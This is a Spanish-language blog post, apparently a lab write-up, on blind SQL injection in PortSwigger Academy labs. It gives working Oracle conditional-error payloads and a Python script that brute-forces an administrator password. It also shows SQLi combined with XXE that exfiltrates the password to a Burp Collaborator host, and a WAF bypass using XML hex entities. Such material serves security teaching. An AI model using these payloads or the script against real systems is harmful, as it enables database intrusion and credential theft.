user@l1ghtn1ng:~$ cat blog/blind-sqli.md

Blind SQLi: errores condicionales, OOB y evasión de WAF
- #WebSecurity
- #BurpSuite
- #hacking
Explico de forma práctica distintos escenarios de Blind SQLi, desde errores condicionales en Oracle hasta la exfiltración OOB mediante SQLi y XXE, incluyendo también un bypass de WAF usando payloads codificados en XML.
Cuando alguien menciona "SQL injection", lo primero que aparece en la cabeza de casi todo el mundo es ' OR 1=1-- -. Tiene sentido, es el ejemplo que se repite en cualquier introducción al tema. El problema es que este payload funciona cuando podemos observar directamente el resultado de la consulta.
Y acá es donde la cosa se pone interesante. Cuando la aplicación no muestra ni el resultado de la consulta, ni un mensaje de error, ni ninguna diferencia visible entre una consulta válida y una que no lo es. Ahí es donde entran las inyecciones SQL a ciegas (Blind SQLi).
Este post se centra en dos escenarios de Blind SQLi:
- cuando podemos provocar errores y usarlos como indicador para obtener información
- cuando la aplicación no nos da ninguna señal útil en la respuesta y tenemos que encontrar otra vía para poder extraer los datos
La idea no es plantearlo como un writeup en el que todo sale perfecto a la primera, sino mostrar el proceso de forma práctica: qué probar, qué observar en cada respuesta y cómo ir ajustando la técnica hasta encontrar una forma de extraer la información.
Repaso: variantes de blind SQLi
Antes de arrancar, conviene ubicar rápidamente las principales variantes de Blind SQLi y qué tipo de señal podemos obtener en cada una:
| Variante | Señal que se observa |
|---|---|
| Boolean-based | La respuesta cambia según si la condición es verdadera o falsa (aparece o no un mensaje) |
| Error-based | La respuesta (mensaje o código de estado) cambia cuando la consulta provoca un error |
| Time-based | La respuesta tarda más o menos según la condición |
| OOB (Out-of-band) | La respuesta se obtiene a través de un canal de comunicación externo (por ejemplo, una consulta DNS o HTTP) |
En los siguientes apartados vamos a analizar dos casos distintos. Primero, una aplicación que permite detectar condiciones mediante errores. Después, un escenario más difícil: la aplicación responde siempre de la misma manera, por lo que necesitamos encontrar otra forma de confirmar si nuestras consultas están funcionando...
Error-based: usando errores como condición
Para explicarlo de forma práctica, vamos a usar el lab Blind SQL injection with conditional errors de PortSwigger Academy.
La aplicación tiene una cookie TrackingId que se usa para un sistema de analítica, y ese valor termina formando parte de una consulta SQL en el backend. No hay ningún mensaje que cambie en pantalla según lo que enviemos, así que no podemos usar una técnica boolean-based tradicional basada en comparar respuestas visibles.
Lo primero, como siempre, es descubrir cuántas columnas tiene la consulta que se realiza en el backend:
' order by 1-- -Acá aparece la primera señal útil: si el número de columnas es correcto, la respuesta es 200 OK. Si no lo es, la aplicación devuelve 500 Internal Server Error. Con esto solo, sin ver nada en pantalla, ya tenemos una forma de hacerle preguntas de sí/no a la base de datos.
En este caso, la consulta tiene una sola columna.
Después para identificar el motor probé:
' union select null-- -Pero no funcionó. Probé con una variante específica de Oracle:
' union select null from dual-- -Y ahí sí, respondió con 200 OK. La tabla dual es una tabla especial que Oracle proporciona para poder ejecutar expresiones o consultas que no necesitan consultar una tabla real. Por ejemplo, SELECT 1 FROM dual permite obtener simplemente el valor 1.
Por qué acá dejamos de usar -- -
Hasta este punto usamos -- - al final de cada payload para comentar el resto de la consulta original. Pero ahora lo vamos a hacer distinto.
Ahora con el payload no buscamos comentar la consulta, sino insertarlo en el medio de un string que la app está construyendo, sin romper la sintaxis.
Para eso usamos || (el operador de concatenación en Oracle). El payload empieza cerrando el string original con ', ejecuta nuestra expresión y termina con otra ' para que el string continúe correctamente.
Con esa estructura armamos la condición para confirmar si existe el usuario administrator:
'||(select case when (1=1) then to_char(1/0) else '' end from users where username='administrator')||'CASE WHEN (1=1)evalúa la condición.- Si es verdadera, ejecuta
to_char(1/0). La división por cero genera un error y obtenemos500 Internal Server Error. - Si es falsa, devuelve
''y no se produce ese error, por lo que obtenemos200 OK.
Entonces, estamos convirtiendo un error de la base de datos en una señal booleana: 500 significa verdadero y 200 significa falso.
Con esa misma estructura se puede preguntar cualquier cosa, como la longitud de la contraseña:
'||(select case when length(password)=20 then to_char(1/0) else '' end from users where username='administrator')||'Y una vez conocida la longitud, podemos comprobar cada carácter individualmente:
'||(select case when substr(password,1,1)='a' then to_char(1/0) else '' end from users where username='administrator')||'Automatizar esto a mano en Burp Intruder funciona, pero para hacerlo más rápido armé un script en Python que prueba todos los caracteres posibles en cada posición de la contraseña:
import requests, string
url = "https://LAB-ID.web-security-academy.net/"
characters = string.ascii_lowercase + string.digits
password = ""
for position in range(1, 21):
for char in characters:
payload = (
f"'||(select case when substr(password,{position},1)='{char}' "
f"then to_char(1/0) else '' end from users where username='administrator')||'"
)
r = requests.get(url, cookies={"TrackingId": payload})
if r.status_code == 500:
password += char
print(password)
breakNOTA: el charset que probás en el script tiene que coincidir con el charset real de la contraseña. Por ejemplo, anteriormente solo probé minúsculas y números, pero si la contraseña real tuviera una mayúscula o un símbolo, el script se hubiera colgado en esa posición sin devolver ningún error, dando la sensación de que algo estaba mal en la lógica de la inyección, cuando en realidad el problema era el charset que estaba probando.
Algo que vale la pena llevarse de este lab es que la idea de provocar un error de forma condicional no es exclusiva de este motor. Cada DBMS tiene sus propias formas de generar errores:
| Motor | Expresión típica para forzar el error |
|---|---|
| Oracle | to_char(1/0) |
| MySQL | extractvalue(1, concat(0x7e, (subquery))) |
| SQL Server | CONVERT(int, (subquery)) |
| PostgreSQL | CAST((subquery) AS int) |
La implementación cambia según el motor, pero la idea de fondo es siempre la misma: si la condición se cumple, provocás un error que el motor no puede evitar mostrar.
Out-of-band (OOB)
¿Y si ni siquiera tenés eso? ¿y si la aplicación no cambia el código de estado, no muestra ningún error, y probar con delays de tiempo tampoco es confiable (por ejemplo, porque hay un WAF o un proxy con timeouts propios de por medio)? Ahí es donde entra la exfiltración fuera de banda (out-of-band).
La idea cambia por completo. En vez de mirar la respuesta HTTP para obtener información, hacemos que la base de datos sea la que nos mande los datos por otro canal, sin que la aplicación tenga que devolvernos nada.
Para esto usamos Burp Collaborator, que te da un subdominio único y te muestra cualquier interacción DNS o HTTP que reciba ese subdominio. La idea es lograr que el propio motor de base de datos le haga una consulta a ese subdominio.
Para explicar esto, vamos a usar los labs Blind SQL injection with out-of-band interaction y Blind SQL injection with out-of-band data exfiltration.
NOTA: Burp Collaborator solo está disponible en Burp Suite Professional, no en Burp Suite Community Edition.
Confirmando que la base de datos puede llamar afuera
Una forma de conseguir esto en Oracle es combinar SQLi con XXE. Oracle tiene funciones capaces de procesar XML, y podemos aprovechar una de ellas, EXTRACTVALUE, para hacer que el motor procese un XML que nosotros controlamos.
Dentro de ese XML podemos definir un DTD, que básicamente es una estructura donde se pueden declarar entidades XML. Entre ellas existen las entidades externas, que pueden apuntar a un recurso ubicado fuera de la aplicación. Si hacemos que esa entidad apunte a nuestro subdominio de Collaborator, Oracle va a intentar acceder a él.
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY %25 remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %25remote%3b]>'),'/l') FROM dual-- -Lo importante del payload está dentro del DOCTYPE:
<!ENTITY % remote SYSTEM "...">define una entidad externa de parámetro (lo indica el%) llamadaremote. Una entidad de parámetro es una variable que puede utilizarse dentro del DTD para almacenar y reutilizar contenido. Luego%remote;la referencia y hace que se procese el recurso externo.- El
%aparece como%25porque el payload se envía dentro de una URL, entonces para que el navegador lo interprete correctamente se pone%25, que es la codificación URL de%(URL-encoded). Lo mismo pasa con el;, conviene enviarlo codificado como%3b, por lo que%remote;termina viajando como%25remote%3b. xmltype(...)convierte el string que controlamos en un objeto XML, mientras queEXTRACTVALUE(...)hace que Oracle procese ese XML. No nos interesa el valor que devuelve la función, sino el efecto secundario: que Oracle intente resolver nuestro dominio.
Al mandar el payload, en el Collaborator > client, debería aparecer una interacción DNS entrante (si no aparece, hacer clic en "Poll now"). Eso confirma algo importante: el servidor de base de datos puede iniciar conexiones hacia afuera. Y si podemos hacer que esas conexiones contengan información que nosotros elegimos, ya tenemos un canal para exfiltrar datos sin depender de la respuesta HTTP de la aplicación.

Esto todavía no significa que hayamos sacado información útil. Simplemente comprobamos que tenemos un canal OOB funcional.
De confirmar la interacción a exfiltrar datos reales
Ahora lo interesante es conseguir que esa misma conexión incluya datos que nosotros elegimos. Para eso, podemos concatenar el resultado de una subconsulta directamente dentro de la URL que usa SYSTEM:
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY %25 remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/"> %25remote;]>'),'/l') FROM dual-- -La diferencia con el payload de la sección anterior está en esta parte:
'||(SELECT password FROM users WHERE username='administrator')||'El operador || sirve para concatenar strings en Oracle. Entonces, en vez de construir una URL con un dominio fijo, Oracle evalúa primero la subconsulta, obtiene la contraseña del usuario administrator y la inserta en el hostname que va a intentar resolver.
Por ejemplo, si la contraseña fuera password123, el resultado terminaría siendo algo parecido a:
http://password123.BURP-COLLABORATOR-SUBDOMAIN/Cuando Oracle intenta resolver ese hostname, la consulta DNS llega al Collaborator y podemos ver el valor exfiltrado como parte del subdominio.

Limitaciones de esta técnica
Estas son algunas limitaciones que me parecen más importantes a tener en cuenta:
- Charset limitado: Un nombre de subdominio DNS solo admite letras, números y guiones. Si el dato que estás exfiltrando tiene espacios, símbolos o caracteres especiales, esos caracteres se pierden, rompen la resolución, o directamente cortan la exfiltración ahí. Con contraseñas que tengan símbolos, esta técnica tal cual no alcanza.
- DNS no distingue mayúsculas de minúsculas: Si la contraseña real tenía mayúsculas, las vas a recibir todas en minúscula y vas a perder esa información. La forma de evitar esto es no exfiltrar por el hostname, sino mediante una request HTTP hacia Collaborator, por ejemplo, por el path o algún header (ya que en estos lugares sí se preserva el case).
- Límites de longitud. Cada etiqueta de un hostname tiene un máximo de 63 caracteres y el hostname completo tiene un límite de 253 caracteres. Para datos más largos, hay que fragmentarlos y enviarlos en varias interacciones.
Y como con el error-based, esto tampoco es exclusivo de Oracle. Cada motor tiene su propia forma de generar tráfico saliente. Por ejemplo, en SQL Server es común abusar de xp_dirtree o xp_fileexist contra una ruta UNC (un formato de ruta utilizado por Windows para acceder a recursos de red), mientras que en MySQL, bajo determinadas configuraciones (en secure_file_priv), LOAD_FILE() puede utilizarse contra una ruta UNC para conseguir un efecto similar.
Cuando el WAF bloquea la inyección
Como plus, hay otro problema bastante común de ver, a veces encontrar la inyección no es lo más difícil, sino en conseguir que el payload llegue hasta la consulta.
En otro escenario (un campo que verifica el stock de un producto), ni una comilla simple llegaba a ejecutarse. Apenas la aplicación detectaba determinados caracteres o palabras, respondía con "Attack detected".

La solución no fue cambiar la inyección, sino cambiar la forma en la que viajaba. Como la aplicación recibía el parámetro dentro de una estructura XML, podía aprovechar el propio parser XML para representar el payload de otra forma.
Para hacerlo más cómodo, usé la extensión Hackvertor de Burp Suite, que permite aplicar distintos tipos de encoding directamente sobre partes de una request.

En este caso, envolví el payload con el tag de Hackvertor para convertirlo en entidades hexadecimales XML (seleccionar el 1 > clic derecho > Extensions > Hackvertor > Encode > hex_entities), obteniendo como resultado:
<storeId>
<@hex_entities>
1 union select username||':'||password from users
</@hex_entities>
</storeId>Hackvertor transforma ese contenido antes de enviarlo. De esta forma, en la request ya no aparece literalmente la cadena union select que el WAF estaba buscando:

Con esto logramos que el payload llegara al backend modificando la forma en que el WAF lo veía, sin alterar lo que finalmente interpretaba el servidor.
Conclusión
Lo que tienen en común estos tres casos (además de la sintaxis SQL) es la pregunta de fondo: si no puedo ver el resultado directamente ¿qué señal sí tengo disponible? A veces es un código de error, a veces es una consulta DNS, y a veces el problema ni siquiera está en el SQL sino en lo que está por detrás.
Si te llevás una sola idea de post, que sea esta: Blind SQLi no es SQLi sin ver la respuesta, es encontrar una forma de hacer visible esa respuesta.